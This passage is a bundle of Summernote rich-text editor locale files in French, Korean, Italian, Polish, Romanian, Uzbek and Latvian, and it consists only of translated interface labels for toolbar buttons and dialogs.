        blockquote: 'Citation',
        pre: 'Code source',
        h1: 'Titre 1',
        h2: 'Titre 2',
        h3: 'Titre 3',
        h4: 'Titre 4',
        h5: 'Titre 5',
        h6: 'Titre 6'
      },
      lists: {
        unordered: 'Liste à puces',
        ordered: 'Liste numérotée'
      },
      options: {
        help: 'Aide',
        fullscreen: 'Plein écran',
        codeview: 'Afficher le code HTML'
      },
      paragraph: {
        paragraph: 'Paragraphe',
        outdent: 'Diminuer le retrait',
        indent: 'Augmenter le retrait',
        left: 'Aligner à gauche',
        center: 'Centrer',
        right: 'Aligner à droite',
        justify: 'Justifier'
      },
      color: {
        recent: 'Dernière couleur sélectionnée',
        more: 'Plus de couleurs',
        background: 'Couleur de fond',
        foreground: 'Couleur de police',
        transparent: 'Transparent',
        setTransparent: 'Définir la transparence',
        reset: 'Restaurer',
        resetToDefault: 'Restaurer la couleur par défaut'
      },
      shortcut: {
        shortcuts: 'Raccourcis',
        close: 'Fermer',
        textFormatting: 'Mise en forme du texte',
        action: 'Action',
        paragraphFormatting: 'Mise en forme des paragraphes',
        documentStyle: 'Style du document',
        extraKeys: 'Touches supplémentaires'
      },
      help: {
        'insertParagraph': 'Insérer paragraphe',
        'undo': 'Défaire la dernière commande',
        'redo': 'Refaire la dernière commande',
        'tab': 'Tabulation',
        'untab': 'Tabulation arrière',
        'bold': 'Mettre en caractère gras',
        'italic': 'Mettre en italique',
        'underline': 'Mettre en souligné',
        'strikethrough': 'Mettre en texte barré',
        'removeFormat': 'Nettoyer les styles',
        'justifyLeft': 'Aligner à gauche',
        'justifyCenter': 'Centrer',
        'justifyRight': 'Aligner à droite',
        'justifyFull': 'Justifier à gauche et à droite',
        'insertUnorderedList': 'Basculer liste à puces',
        'insertOrderedList': 'Basculer liste ordonnée',
        'outdent': 'Diminuer le retrait du paragraphe',
        'indent': 'Augmenter le retrait du paragraphe',
        'formatPara': 'Changer le paragraphe en cours en normal (P)',
        'formatH1': 'Changer le paragraphe en cours en entête H1',
        'formatH2': 'Changer le paragraphe en cours en entête H2',
        'formatH3': 'Changer le paragraphe en cours en entête H3',
        'formatH4': 'Changer le paragraphe en cours en entête H4',
        'formatH5': 'Changer le paragraphe en cours en entête H5',
        'formatH6': 'Changer le paragraphe en cours en entête H6',
        'insertHorizontalRule': 'Insérer séparation horizontale',
        'linkDialog.show': 'Afficher fenêtre d\'hyperlien'
      },
      history: {
        undo: 'Annuler la dernière action',
        redo: 'Restaurer la dernière action annulée'
      },
      specialChar: {
        specialChar: 'CARACTÈRES SPÉCIAUX',
        select: 'Choisir des caractères spéciaux'
      }
    }
  });
})(jQuery);
lang/summernote-ko-KR.min.js000064400000007210151677331550011741 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(e){e.extend(e.summernote.lang,{"ko-KR":{font:{bold:"굵게",italic:"기울임꼴",underline:"밑줄",clear:"글자 효과 없애기",height:"줄간격",name:"글꼴",superscript:"위 첨자",subscript:"아래 첨자",strikethrough:"취소선",size:"글자 크기"},image:{image:"사진",insert:"사진 추가",resizeFull:"100% 크기로 변경",resizeHalf:"50% 크기로 변경",resizeQuarter:"25% 크기로 변경",floatLeft:"왼쪽 정렬",floatRight:"오른쪽 정렬",floatNone:"정렬하지 않음",shapeRounded:"스타일: 둥근 모서리",shapeCircle:"스타일: 원형",shapeThumbnail:"스타일: 액자",shapeNone:"스타일: 없음",dragImageHere:"텍스트 혹은 사진을 이곳으로 끌어오세요",dropImage:"텍스트 혹은 사진을 내려놓으세요",selectFromFiles:"파일 선택",maximumFileSize:"Maximum file size",maximumFileSizeError:"Maximum file size exceeded.",url:"사진 URL",remove:"사진 삭제",original:"Original"},video:{video:"동영상",videoLink:"동영상 링크",insert:"동영상 추가",url:"동영상 URL",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion, Youku 사용 가능)"},link:{link:"링크",insert:"링크 추가",unlink:"링크 삭제",edit:"수정",textToDisplay:"링크에 표시할 내용",url:"이동할 URL",openInNewWindow:"새창으로 열기"},table:{table:"테이블",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"구분선 추가"},style:{style:"스타일",p:"본문",blockquote:"인용구",pre:"코드",h1:"제목 1",h2:"제목 2",h3:"제목 3",h4:"제목 4",h5:"제목 5",h6:"제목 6"},lists:{unordered:"글머리 기호",ordered:"번호 매기기"},options:{help:"도움말",fullscreen:"전체 화면",codeview:"코드 보기"},paragraph:{paragraph:"문단 정렬",outdent:"내어쓰기",indent:"들여쓰기",left:"왼쪽 정렬",center:"가운데 정렬",right:"오른쪽 정렬",justify:"양쪽 정렬"},color:{recent:"마지막으로 사용한 색",more:"다른 색 선택",background:"배경색",foreground:"글자색",transparent:"투명",setTransparent:"투명",reset:"취소",resetToDefault:"기본 값으로 변경"},shortcut:{shortcuts:"키보드 단축키",close:"닫기",textFormatting:"글자 스타일 적용",action:"기능",paragraphFormatting:"문단 스타일 적용",documentStyle:"문서 스타일 적용",extraKeys:"Extra keys"},help:{insertParagraph:"Insert Paragraph",undo:"Undoes the last command",redo:"Redoes the last command",tab:"Tab",untab:"Untab",bold:"Set a bold style",italic:"Set a italic style",underline:"Set a underline style",strikethrough:"Set a strikethrough style",removeFormat:"Clean a style",justifyLeft:"Set left align",justifyCenter:"Set center align",justifyRight:"Set right align",justifyFull:"Set full align",insertUnorderedList:"Toggle unordered list",insertOrderedList:"Toggle ordered list",outdent:"Outdent on current paragraph",indent:"Indent on current paragraph",formatPara:"Change current block's format as a paragraph(P tag)",formatH1:"Change current block's format as H1",formatH2:"Change current block's format as H2",formatH3:"Change current block's format as H3",formatH4:"Change current block's format as H4",formatH5:"Change current block's format as H5",formatH6:"Change current block's format as H6",insertHorizontalRule:"Insert horizontal rule","linkDialog.show":"Show Link Dialog"},history:{undo:"실행 취소",redo:"다시 실행"},specialChar:{specialChar:"특수문자",select:"특수문자를 선택하세요"}}})}(jQuery);lang/summernote-ko-KR.js000064400000012244151677331550011162 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'ko-KR': {
      font: {
        bold: '굵게',
        italic: '기울임꼴',
        underline: '밑줄',
        clear: '글자 효과 없애기',
        height: '줄간격',
        name: '글꼴',
        superscript: '위 첨자',
        subscript: '아래 첨자',
        strikethrough: '취소선',
        size: '글자 크기'
      },
      image: {
        image: '사진',
        insert: '사진 추가',
        resizeFull: '100% 크기로 변경',
        resizeHalf: '50% 크기로 변경',
        resizeQuarter: '25% 크기로 변경',
        floatLeft: '왼쪽 정렬',
        floatRight: '오른쪽 정렬',
        floatNone: '정렬하지 않음',
        shapeRounded: '스타일: 둥근 모서리',
        shapeCircle: '스타일: 원형',
        shapeThumbnail: '스타일: 액자',
        shapeNone: '스타일: 없음',
        dragImageHere: '텍스트 혹은 사진을 이곳으로 끌어오세요',
        dropImage: '텍스트 혹은 사진을 내려놓으세요',
        selectFromFiles: '파일 선택',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: '사진 URL',
        remove: '사진 삭제',
        original: 'Original'
      },
      video: {
        video: '동영상',
        videoLink: '동영상 링크',
        insert: '동영상 추가',
        url: '동영상 URL',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion, Youku 사용 가능)'
      },
      link: {
        link: '링크',
        insert: '링크 추가',
        unlink: '링크 삭제',
        edit: '수정',
        textToDisplay: '링크에 표시할 내용',
        url: '이동할 URL',
        openInNewWindow: '새창으로 열기'
      },
      table: {
        table: '테이블',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: '구분선 추가'
      },
      style: {
        style: '스타일',
        p: '본문',
        blockquote: '인용구',
        pre: '코드',
        h1: '제목 1',
        h2: '제목 2',
        h3: '제목 3',
        h4: '제목 4',
        h5: '제목 5',
        h6: '제목 6'
      },
      lists: {
        unordered: '글머리 기호',
        ordered: '번호 매기기'
      },
      options: {
        help: '도움말',
        fullscreen: '전체 화면',
        codeview: '코드 보기'
      },
      paragraph: {
        paragraph: '문단 정렬',
        outdent: '내어쓰기',
        indent: '들여쓰기',
        left: '왼쪽 정렬',
        center: '가운데 정렬',
        right: '오른쪽 정렬',
        justify: '양쪽 정렬'
      },
      color: {
        recent: '마지막으로 사용한 색',
        more: '다른 색 선택',
        background: '배경색',
        foreground: '글자색',
        transparent: '투명',
        setTransparent: '투명',
        reset: '취소',
        resetToDefault: '기본 값으로 변경'
      },
      shortcut: {
        shortcuts: '키보드 단축키',
        close: '닫기',
        textFormatting: '글자 스타일 적용',
        action: '기능',
        paragraphFormatting: '문단 스타일 적용',
        documentStyle: '문서 스타일 적용',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: '실행 취소',
        redo: '다시 실행'
      },
      specialChar: {
        specialChar: '특수문자',
        select: '특수문자를 선택하세요'
      }
    }
  });
})(jQuery);
lang/summernote-it-IT.js000064400000012432151677331550011164 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'it-IT': {
      font: {
        bold: 'Testo in grassetto',
        italic: 'Testo in corsivo',
        underline: 'Testo sottolineato',
        clear: 'Elimina la formattazione del testo',
        height: 'Altezza della linea di testo',
        name: 'Famiglia Font',
        strikethrough: 'Testo barrato',
        subscript: 'Subscript',
        superscript: 'Superscript',
        size: 'Dimensione del carattere'
      },
      image: {
        image: 'Immagine',
        insert: 'Inserisci Immagine',
        resizeFull: 'Dimensioni originali',
        resizeHalf: 'Ridimensiona al 50%',
        resizeQuarter: 'Ridimensiona al 25%',
        floatLeft: 'Posiziona a sinistra',
        floatRight: 'Posiziona a destra',
        floatNone: 'Nessun posizionamento',
        shapeRounded: 'Shape: Rounded',
        shapeCircle: 'Shape: Circle',
        shapeThumbnail: 'Shape: Thumbnail',
        shapeNone: 'Shape: None',
        dragImageHere: 'Trascina qui un\'immagine',
        dropImage: 'Drop image or Text',
        selectFromFiles: 'Scegli dai Documenti',
        maximumFileSize: 'Maximum file size',
        maximumFileSizeError: 'Maximum file size exceeded.',
        url: 'URL dell\'immagine',
        remove: 'Rimuovi immagine',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Collegamento ad un Video',
        insert: 'Inserisci Video',
        url: 'URL del Video',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion o Youku)'
      },
      link: {
        link: 'Collegamento',
        insert: 'Inserisci Collegamento',
        unlink: 'Elimina collegamento',
        edit: 'Modifica collegamento',
        textToDisplay: 'Testo del collegamento',
        url: 'URL del collegamento',
        openInNewWindow: 'Apri in una nuova finestra'
      },
      table: {
        table: 'Tabella',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Inserisce una linea di separazione'
      },
      style: {
        style: 'Stili',
        p: 'pe',
        blockquote: 'Citazione',
        pre: 'Codice',
        h1: 'Titolo 1',
        h2: 'Titolo 2',
        h3: 'Titolo 3',
        h4: 'Titolo 4',
        h5: 'Titolo 5',
        h6: 'Titolo 6'
      },
      lists: {
        unordered: 'Elenco non ordinato',
        ordered: 'Elenco ordinato'
      },
      options: {
        help: 'Aiuto',
        fullscreen: 'Modalità a tutto schermo',
        codeview: 'Visualizza codice'
      },
      paragraph: {
        paragraph: 'Paragrafo',
        outdent: 'Diminuisce il livello di rientro',
        indent: 'Aumenta il livello di rientro',
        left: 'Allinea a sinistra',
        center: 'Centra',
        right: 'Allinea a destra',
        justify: 'Giustifica (allinea a destra e sinistra)'
      },
      color: {
        recent: 'Ultimo colore utilizzato',
        more: 'Altri colori',
        background: 'Colore di sfondo',
        foreground: 'Colore',
        transparent: 'Trasparente',
        setTransparent: 'Trasparente',
        reset: 'Reimposta',
        resetToDefault: 'Reimposta i colori'
      },
      shortcut: {
        shortcuts: 'Scorciatoie da tastiera',
        close: 'Chiudi',
        textFormatting: 'Formattazione testo',
        action: 'Azioni',
        paragraphFormatting: 'Formattazione paragrafo',
        documentStyle: 'Stili',
        extraKeys: 'Extra keys'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Annulla',
        redo: 'Ripristina'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-pl-PL.js000064400000012233151677331550011161 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'pl-PL': {
      font: {
        bold: 'Pogrubienie',
        italic: 'Pochylenie',
        underline: 'Podkreślenie',
        clear: 'Usuń formatowanie',
        height: 'Interlinia',
        name: 'Czcionka',
        strikethrough: 'Przekreślenie',
        subscript: 'Indeks dolny',
        superscript: 'Indeks górny',
        size: 'Rozmiar'
      },
      image: {
        image: 'Grafika',
        insert: 'Wstaw grafikę',
        resizeFull: 'Zmień rozmiar na 100%',
        resizeHalf: 'Zmień rozmiar na 50%',
        resizeQuarter: 'Zmień rozmiar na 25%',
        floatLeft: 'Po lewej',
        floatRight: 'Po prawej',
        floatNone: 'Równo z tekstem',
        shapeRounded: 'Kształt: zaokrąglone',
        shapeCircle: 'Kształt: okrąg',
        shapeThumbnail: 'Kształt: miniatura',
        shapeNone: 'Kształt: brak',
        dragImageHere: 'Przeciągnij grafikę lub tekst tutaj',
        dropImage: 'Przeciągnij grafikę lub tekst',
        selectFromFiles: 'Wybierz z dysku',
        maximumFileSize: 'Limit wielkości pliku',
        maximumFileSizeError: 'Przekroczono limit wielkości pliku.',
        url: 'Adres URL grafiki',
        remove: 'Usuń grafikę',
        original: 'Original'
      },
      video: {
        video: 'Wideo',
        videoLink: 'Adres wideo',
        insert: 'Wstaw wideo',
        url: 'Adres wideo',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion lub Youku)'
      },
      link: {
        link: 'Odnośnik',
        insert: 'Wstaw odnośnik',
        unlink: 'Usuń odnośnik',
        edit: 'Edytuj',
        textToDisplay: 'Tekst do wyświetlenia',
        url: 'Na jaki adres URL powinien przenosić ten odnośnik?',
        openInNewWindow: 'Otwórz w nowym oknie'
      },
      table: {
        table: 'Tabela',
        addRowAbove: 'Add row above',
        addRowBelow: 'Add row below',
        addColLeft: 'Add column left',
        addColRight: 'Add column right',
        delRow: 'Delete row',
        delCol: 'Delete column',
        delTable: 'Delete table'
      },
      hr: {
        insert: 'Wstaw poziomą linię'
      },
      style: {
        style: 'Style',
        p: 'pny',
        blockquote: 'Cytat',
        pre: 'Kod',
        h1: 'Nagłówek 1',
        h2: 'Nagłówek 2',
        h3: 'Nagłówek 3',
        h4: 'Nagłówek 4',
        h5: 'Nagłówek 5',
        h6: 'Nagłówek 6'
      },
      lists: {
        unordered: 'Lista wypunktowana',
        ordered: 'Lista numerowana'
      },
      options: {
        help: 'Pomoc',
        fullscreen: 'Pełny ekran',
        codeview: 'Źródło'
      },
      paragraph: {
        paragraph: 'Akapit',
        outdent: 'Zmniejsz wcięcie',
        indent: 'Zwiększ wcięcie',
        left: 'Wyrównaj do lewej',
        center: 'Wyrównaj do środka',
        right: 'Wyrównaj do prawej',
        justify: 'Wyrównaj do lewej i prawej'
      },
      color: {
        recent: 'Ostani kolor',
        more: 'Więcej kolorów',
        background: 'Tło',
        foreground: 'Czcionka',
        transparent: 'Przeźroczysty',
        setTransparent: 'Przeźroczyste',
        reset: 'Reset',
        resetToDefault: 'Domyślne'
      },
      shortcut: {
        shortcuts: 'Skróty klawiaturowe',
        close: 'Zamknij',
        textFormatting: 'Formatowanie tekstu',
        action: 'Akcja',
        paragraphFormatting: 'Formatowanie akapitu',
        documentStyle: 'Styl dokumentu',
        extraKeys: 'Dodatkowe klawisze'
      },
      help: {
        'insertParagraph': 'Insert Paragraph',
        'undo': 'Undoes the last command',
        'redo': 'Redoes the last command',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Set a bold style',
        'italic': 'Set a italic style',
        'underline': 'Set a underline style',
        'strikethrough': 'Set a strikethrough style',
        'removeFormat': 'Clean a style',
        'justifyLeft': 'Set left align',
        'justifyCenter': 'Set center align',
        'justifyRight': 'Set right align',
        'justifyFull': 'Set full align',
        'insertUnorderedList': 'Toggle unordered list',
        'insertOrderedList': 'Toggle ordered list',
        'outdent': 'Outdent on current paragraph',
        'indent': 'Indent on current paragraph',
        'formatPara': 'Change current block\'s format as a paragraph(P tag)',
        'formatH1': 'Change current block\'s format as H1',
        'formatH2': 'Change current block\'s format as H2',
        'formatH3': 'Change current block\'s format as H3',
        'formatH4': 'Change current block\'s format as H4',
        'formatH5': 'Change current block\'s format as H5',
        'formatH6': 'Change current block\'s format as H6',
        'insertHorizontalRule': 'Insert horizontal rule',
        'linkDialog.show': 'Show Link Dialog'
      },
      history: {
        undo: 'Cofnij',
        redo: 'Ponów'
      },
      specialChar: {
        specialChar: 'SPECIAL CHARACTERS',
        select: 'Select Special characters'
      }
    }
  });
})(jQuery);
lang/summernote-ro-RO.js000064400000012534151677331550011177 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'ro-RO': {
      font: {
        bold: 'Îngroșat',
        italic: 'Înclinat',
        underline: 'Subliniat',
        clear: 'Înlătură formatare font',
        height: 'Înălțime rând',
        name: 'Familie de fonturi',
        strikethrough: 'Tăiat',
        subscript: 'Indice',
        superscript: 'Exponent',
        size: 'Dimensiune font'
      },
      image: {
        image: 'Imagine',
        insert: 'Inserează imagine',
        resizeFull: 'Redimensionează complet',
        resizeHalf: 'Redimensionează 1/2',
        resizeQuarter: 'Redimensionează 1/4',
        floatLeft: 'Aliniere la stânga',
        floatRight: 'Aliniere la dreapta',
        floatNone: 'Fară aliniere',
        shapeRounded: 'Formă: Rotund',
        shapeCircle: 'Formă: Cerc',
        shapeThumbnail: 'Formă: Pictogramă',
        shapeNone: 'Formă: Nici una',
        dragImageHere: 'Trage o imagine sau un text aici',
        dropImage: 'Eliberează imaginea sau textul',
        selectFromFiles: 'Alege din fişiere',
        maximumFileSize: 'Dimensiune maximă fișier',
        maximumFileSizeError: 'Dimensiune maximă fișier depășită.',
        url: 'URL imagine',
        remove: 'Șterge imagine',
        original: 'Original'
      },
      video: {
        video: 'Video',
        videoLink: 'Link video',
        insert: 'Inserează video',
        url: 'URL video?',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion sau Youku)'
      },
      link: {
        link: 'Link',
        insert: 'Inserează link',
        unlink: 'Înlătură link',
        edit: 'Editează',
        textToDisplay: 'Text ce va fi afişat',
        url: 'La ce adresă URL trebuie să conducă acest link?',
        openInNewWindow: 'Deschidere în fereastră nouă'
      },
      table: {
        table: 'Tabel',
        addRowAbove: 'Adaugă rând deasupra',
        addRowBelow: 'Adaugă rând dedesubt',
        addColLeft: 'Adaugă coloană stânga',
        addColRight: 'Adaugă coloană dreapta',
        delRow: 'Șterge rând',
        delCol: 'Șterge coloană',
        delTable: 'Șterge tabel'
      },
      hr: {
        insert: 'Inserează o linie orizontală'
      },
      style: {
        style: 'Stil',
        p: 'p',
        blockquote: 'Citat',
        pre: 'Preformatat',
        h1: 'Titlu 1',
        h2: 'Titlu 2',
        h3: 'Titlu 3',
        h4: 'Titlu 4',
        h5: 'Titlu 5',
        h6: 'Titlu 6'
      },
      lists: {
        unordered: 'Listă neordonată',
        ordered: 'Listă ordonată'
      },
      options: {
        help: 'Ajutor',
        fullscreen: 'Măreşte',
        codeview: 'Sursă'
      },
      paragraph: {
        paragraph: 'Paragraf',
        outdent: 'Creşte identarea',
        indent: 'Scade identarea',
        left: 'Aliniere la stânga',
        center: 'Aliniere centrală',
        right: 'Aliniere la dreapta',
        justify: 'Aliniere în bloc'
      },
      color: {
        recent: 'Culoare recentă',
        more: 'Mai multe  culori',
        background: 'Culoarea fundalului',
        foreground: 'Culoarea textului',
        transparent: 'Transparent',
        setTransparent: 'Setează transparent',
        reset: 'Resetează',
        resetToDefault: 'Revino la iniţial'
      },
      shortcut: {
        shortcuts: 'Scurtături tastatură',
        close: 'Închide',
        textFormatting: 'Formatare text',
        action: 'Acţiuni',
        paragraphFormatting: 'Formatare paragraf',
        documentStyle: 'Stil paragraf',
        extraKeys: 'Taste extra'
      },
      help: {
        'insertParagraph': 'Inserează paragraf',
        'undo': 'Revine la starea anterioară',
        'redo': 'Revine la starea ulterioară',
        'tab': 'Tab',
        'untab': 'Untab',
        'bold': 'Setează stil îngroșat',
        'italic': 'Setează stil înclinat',
        'underline': 'Setează stil subliniat',
        'strikethrough': 'Setează stil tăiat',
        'removeFormat': 'Înlătură formatare',
        'justifyLeft': 'Setează aliniere stânga',
        'justifyCenter': 'Setează aliniere centru',
        'justifyRight': 'Setează aliniere dreapta',
        'justifyFull': 'Setează aliniere bloc',
        'insertUnorderedList': 'Comutare listă neordinată',
        'insertOrderedList': 'Comutare listă ordonată',
        'outdent': 'Înlătură indentare paragraf curent',
        'indent': 'Adaugă indentare paragraf curent',
        'formatPara': 'Schimbă formatarea selecției în paragraf',
        'formatH1': 'Schimbă formatarea selecției în H1',
        'formatH2': 'Schimbă formatarea selecției în H2',
        'formatH3': 'Schimbă formatarea selecției în H3',
        'formatH4': 'Schimbă formatarea selecției în H4',
        'formatH5': 'Schimbă formatarea selecției în H5',
        'formatH6': 'Schimbă formatarea selecției în H6',
        'insertHorizontalRule': 'Adaugă linie orizontală',
        'linkDialog.show': 'Inserează link'
      },
      history: {
        undo: 'Starea anterioară',
        redo: 'Starea ulterioară'
      },
      specialChar: {
        specialChar: 'CARACTERE SPECIALE',
        select: 'Alege caractere speciale'
      }
    }
  });
})(jQuery);
lang/summernote-uz-UZ.js000064400000010246151677331550011231 0ustar00(function($) {
  $.extend($.summernote.lang, {
    'uz-UZ': {
      font: {
        bold: 'қалин',
        italic: 'Курсив',
        underline: 'Белгиланган',
        clear: 'Ҳарф турларини олиб ташлаш',
        height: 'Чизиқ баландлиги',
        name: 'Ҳарф',
        strikethrough: 'Ўчирилган',
        subscript: 'Пастки индекс',
        superscript: 'Юқори индекс',
        size: 'ҳарф ҳажми'
      },
      image: {
        image: 'Расм',
        insert: 'расмни қўйиш',
        resizeFull: 'Ҳажмни тиклаш',
        resizeHalf: '50% гача кичрайтириш',
        resizeQuarter: '25% гача кичрайтириш',
        floatLeft: 'Чапда жойлаштириш',
        floatRight: 'Ўнгда жойлаштириш',
        floatNone: 'Стандарт бўйича жойлашув',
        shapeRounded: 'Шакли: Юмалоқ',
        shapeCircle: 'Шакли: Доира',
        shapeThumbnail: 'Шакли: Миниатюра',
        shapeNone: 'Шакли: Йўқ',
        dragImageHere: 'Суратни кўчириб ўтинг',
        dropImage: 'Суратни кўчириб ўтинг',
        selectFromFiles: 'Файллардан бирини танлаш',
        url: 'суратлар URL и',
        remove: 'Суратни ўчириш'
      },
      video: {
        video: 'Видео',
        videoLink: 'Видеога ҳавола',
        insert: 'Видео',
        url: 'URL видео',
        providers: '(YouTube, Vimeo, Vine, Instagram, DailyMotion или Youku)'
      },
      link: {
        link: 'Ҳавола',
        insert: 'Ҳаволани қўйиш',
        unlink: 'Ҳаволани олиб ташлаш',
        edit: 'Таҳрир қилиш',
        textToDisplay: 'Кўринадиган матн',
        url: 'URL ўтиш учун',
        openInNewWindow: 'Янги дарчада очиш'
      },
      table: {
        table: 'Жадвал'
      },
      hr: {
        insert: 'Горизонтал чизиқни қўйиш'
      },
      style: {
        style: 'Услуб',
        p: 'Яхши',
        blockquote: 'Жумла',
        pre: 'Код',
        h1: 'Сарлавҳа 1',
        h2: 'Сарлавҳа  2',
        h3: 'Сарлавҳа  3',
        h4: 'Сарлавҳа  4',
        h5: 'Сарлавҳа  5',
        h6: 'Сарлавҳа  6'
      },
      lists: {
        unordered: 'Белгиланган рўйҳат',
        ordered: 'Рақамланган рўйҳат'
      },
      options: {
        help: 'Ёрдам',
        fullscreen: 'Бутун экран бўйича',
        codeview: 'Бошланғич код'
      },
      paragraph: {
        paragraph: 'Параграф',
        outdent: 'Орқага қайтишни камайтириш',
        indent: 'Орқага қайтишни кўпайтириш',
        left: 'Чап қирғоққа тўғрилаш',
        center: 'Марказга тўғрилаш',
        right: 'Ўнг қирғоққа тўғрилаш',
        justify: 'Эни бўйлаб чўзиш'
      },
      color: {
        recent: 'Охирги ранг',
        more: 'Яна ранглар',
        background: 'Фон  ранги',
        foreground: 'Ҳарф ранги',
        transparent: 'Шаффоф',
        setTransparent: 'Шаффофдай қилиш',
        reset: 'Бекор қилиш',
        resetToDefault: 'Стандартга оид тиклаш'
      },
      shortcut: {
        shortcuts: 'Клавишларнинг ҳамохҳанглиги',
        close: 'Ёпиқ',
        textFormatting: 'Матнни ',
        action: 'Ҳаркат',
        paragraphFormatting: 'Параграфни форматлаш',
        documentStyle: 'Ҳужжатнинг тури',
        extraKeys: 'Қўшимча имкониятлар'
      },
      history: {
        undo: 'Бекор қилиш',
        redo: 'Қайтариш'
      }
    }
  });
})(jQuery);
lang/summernote-lt-LV.min.js000064400000007415151677331550011763 0ustar00/*! Summernote v0.8.10 | (c) 2013- Alan Hong and other contributors | MIT license */

!function(t){t.extend(t.summernote.lang,{"lv-LV":{font:{bold:"Treknraksts",italic:"Kursīvs",underline:"Pasvītrots",clear:"Noņemt formatējumu",height:"Līnijas augstums",name:"Fonts",strikethrough:"Nosvītrots",superscript:"Augšraksts",subscript:"Apakšraksts",size:"Fonta lielums"},image:{image:"Attēls",insert:"Ievietot attēlu",resizeFull:"Pilns izmērts",resizeHalf:"Samazināt 50%",resizeQuarter:"Samazināt 25%",floatLeft:"Līdzināt pa kreisi",floatRight:"Līdzināt pa labi",floatNone:"Nelīdzināt",shapeRounded:"Forma: apaļām malām",shapeCircle:"Forma: aplis",shapeThumbnail:"Forma: rāmītis",shapeNone:"Forma: orģināla",dragImageHere:"Ievēlciet attēlu šeit",dropImage:"Drop image or Text",selectFromFiles:"Izvēlēties failu",maximumFileSize:"Maksimālais faila izmērs",maximumFileSizeError:"Faila izmērs pārāk liels!",url:"Attēla URL",remove:"Dzēst attēlu",original:"Original"},video:{video:"Video",videoLink:"Video Link",insert:"Insert Video",url:"Video URL?",providers:"(YouTube, Vimeo, Vine, Instagram, DailyMotion or Youku)"},link:{link:"Saite",insert:"Ievietot saiti",unlink:"Noņemt saiti",edit:"Rediģēt",textToDisplay:"Saites saturs",url:"Koks URL adresas yra susietas?",openInNewWindow:"Atvērt jaunā logā"},table:{table:"Tabula",addRowAbove:"Add row above",addRowBelow:"Add row below",addColLeft:"Add column left",addColRight:"Add column right",delRow:"Delete row",delCol:"Delete column",delTable:"Delete table"},hr:{insert:"Ievietot līniju"},style:{style:"Stils",p:"Parasts",blockquote:"Citāts",pre:"Kods",h1:"Virsraksts h1",h2:"Virsraksts h2",h3:"Virsraksts h3",h4:"Virsraksts h4",h5:"Virsraksts h5",h6:"Virsraksts h6"},lists:{unordered:"Nenumurēts saraksts",ordered:"Numurēts saraksts"},options:{help:"Palīdzība",fullscreen:"Pa visu ekrānu",codeview:"HTML kods"},paragraph:{paragraph:"Paragrāfs",outdent:"Samazināt atkāpi",indent:"Palielināt atkāpi",left:"Līdzināt pa kreisi",center:"Centrēt",right:"Līdzināt pa labi",justify:"Līdzināt gar abām malām"},color:{recent:"Nesen izmantotās",more:"Citas krāsas",background:"Fona krāsa",foreground:"Fonta krāsa",transparent:"Caurspīdīgs",setTransparent:"Iestatīt caurspīdīgumu",reset:"Atjaunot",resetToDefault:"Atjaunot 